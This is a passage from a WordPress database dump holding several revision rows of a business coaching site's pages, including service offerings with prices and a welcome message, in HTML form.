them.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+ USD\r\nThe duration of this consulting engagement is generally within a 6-8 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to possibilities. To do that, let your burning desires guide the way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\nI provide on-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and mostly virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum Investment: $2,500 USD\r\nMonthly for a period of three (3) months.</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 18:16:45', '2011-01-02 01:16:45', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-121/', 0, 'revision', '', 0),
(1422, 2, '2011-01-02 11:44:10', '2011-01-02 18:44:10', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nMy purpose is to inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director and brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific issue in their business  development that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n\r\nThrough innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in your business. With you and your team, we develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. To leverage your enhanced positioning, we will create specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, marketing, and communications at every touch point of interaction with your clients and customers.\r\n\r\nFrom your increased awareness of the entrepreneur’s abundance mindset, and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange higher sums of money to show their appreciation for the value you are creating for them.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+ USD\r\nThe duration of this consulting engagement is generally within a 6-8 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to possibilities. To do that, let your burning desires guide the way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\nI provide on-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and mostly virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum Investment: $2,500 USD\r\nMonthly for a period of three (3) months.</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-02 11:44:10', '2011-01-02 18:44:10', '', 138, 'http://www.whitehotcenter.com/2011/01/02/138-revision-122/', 0, 'revision', '', 0),
(1423, 2, '2011-01-02 11:56:10', '2011-01-02 18:56:10', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nMy purpose is to inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director, brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and to owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy, and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the source code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific business development and marketing issue that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n\r\nThrough innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in your business. With you and your team, we develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. To leverage your enhanced positioning, we will create specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, marketing, and communications at every touch point of interaction with your clients and customers.\r\n\r\nFrom an increased awareness of the entrepreneur’s abundance mindset, and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange higher sums of money to show their appreciation for the value you are creating for them.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+ USD\r\nThe duration of this consulting engagement is generally within a 6-8 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\nI provide on-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and mostly virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly for a minimum period of three (3) months.</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-02 11:56:10', '2011-01-02 18:56:10', '', 138, 'http://www.whitehotcenter.com/2011/01/02/138-revision-123/', 0, 'revision', '', 0),
(1431, 2, '2011-01-02 11:59:26', '2011-01-02 18:59:26', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nMy purpose is to inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director, brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and to owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy, and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the source code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific business development and marketing issue that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n\r\nThrough innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in your business. With you and your team, we develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. To leverage your enhanced positioning, we will create specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, marketing, and communications at every touch point of interaction with your clients and customers.\r\n\r\nFrom an increased awareness of the entrepreneur’s abundance mindset, and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange higher sums of money to show their appreciation for the value you are creating for them.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+ USD\r\nThe duration of this consulting engagement is generally within a 6-8 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\nI provide on-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and mostly virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly for a minimum period of three (3) months.</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-02 11:59:26', '2011-01-02 18:59:26', '', 138, 'http://www.whitehotcenter.com/2011/01/02/138-revision-124/', 0, 'revision', '', 0),
(1424, 2, '2010-12-16 15:02:04', '2010-12-16 22:02:04', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\n<span style="color: #000000;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business and life success. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nThe White Hot Center is the only online business development and life success resource exclusively focused on issues faced by early-stage entrepreneurs and solo professionals who want more clarity and confidence to create more impact, influence and income. For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nMy passion is inspiring creativity and innovative ideas that will help you expand your thinking to create a life of significance and contribution doing what you love powered by the ever growing financial success of your business. My mission is to inspire and guide you toward more clarity and confidence to pursue your best opportunities and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of your clients and customers.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients and customers who love you– and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle design and personal effectiveness mastery to rise above the daily complexities your personal and business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time for rest and rejuvenation of your mind, body and spirit– not to mention more time for your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">more money to ever expand your contributions and legacy to the world.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>A little about me.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, creative director and brand strategy consultant serving global companies and small start-ups alike. My expertise helps them discover their unique voice and value proposition, and create more compelling marketing innovations and engaging experiences that influence their impact in the marketplace.  You can learn about my expertise in consumer products marketing at<a href="www.pullinc.com" target="_blank"><strong> PULL Brand Innovation.</strong></a>\r\n\r\nHere on the White Hot Center blog, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation.\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be your go-to source of inspiration and innovation to help you tap into the power of your own creative source of competitive advantage– your white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing your possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-12-16 15:02:04', '2010-12-16 22:02:04', '', 172, 'http://www.whitehotcenter.com/2010/12/16/172-revision-94/', 0, 'revision', '', 0);
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(1426, 2, '2011-01-02 12:24:04', '2011-01-02 19:24:04', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\n<span style="color: #000000;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business and life success. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nThe White Hot Center is the only online business development and life success resource exclusively focused on issues faced by early-stage entrepreneurs and solo professionals who want more clarity and confidence to create more impact, influence and income. For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nMy passion is inspiring creativity and innovative ideas that will help you expand your thinking to create a life of significance and contribution doing what you love powered by the ever growing financial success of your business. My mission is to inspire and guide you toward your best opportunities, and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of your clients and customers.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients and customers who love you– and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle design and personal effectiveness mastery to rise above the daily complexities your personal and business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time for rest and rejuvenation of your mind, body and spirit– not to mention more time for your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">more money to ever expand your contributions and legacy to the world.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong>A little about me.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, creative director, brand strategy consultant serving global companies and small start-ups alike. My expertise helps business leaders discover their unique voice and value proposition, and create more compelling marketing innovations and engaging experiences that influence their impact in the marketplace.  You can learn about my expertise in consumer products marketing at<a href="www.pullinc.com" target="_blank"><strong> PULL Brand Innovation.</strong></a>\r\n<h2>It''s  my intention to have the White Hot Center be your go-to source of  inspiration and innovation to help you tap into the power of your own  creative source of competitive advantage– your white hot center!</h2>\r\nHere on the White Hot Center, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation. I''m confident you would agree, nothing is more satisfying and fulfilling than experiencing your possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-01-02 12:24:04', '2011-01-02 19:24:04', '', 172, 'http://www.whitehotcenter.com/2011/01/02/172-revision-96/', 0, 'revision', '', 0),
(1425, 2, '2011-01-02 12:19:44', '2011-01-02 19:19:44', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\n<span style="color: #000000;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business and life success. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nThe White Hot Center is the only online business development and life success resource exclusively focused on issues faced by early-stage entrepreneurs and solo professionals who want more clarity and confidence to create more impact, influence and income. For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nMy passion is inspiring creativity and innovative ideas that will help you expand your thinking to create a life of significance and contribution doing what you love powered by the ever growing financial success of your business. My mission is to inspire and guide you toward your best opportunities, and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of your clients and customers.</span></h2>\r\n<h2><span style="color: 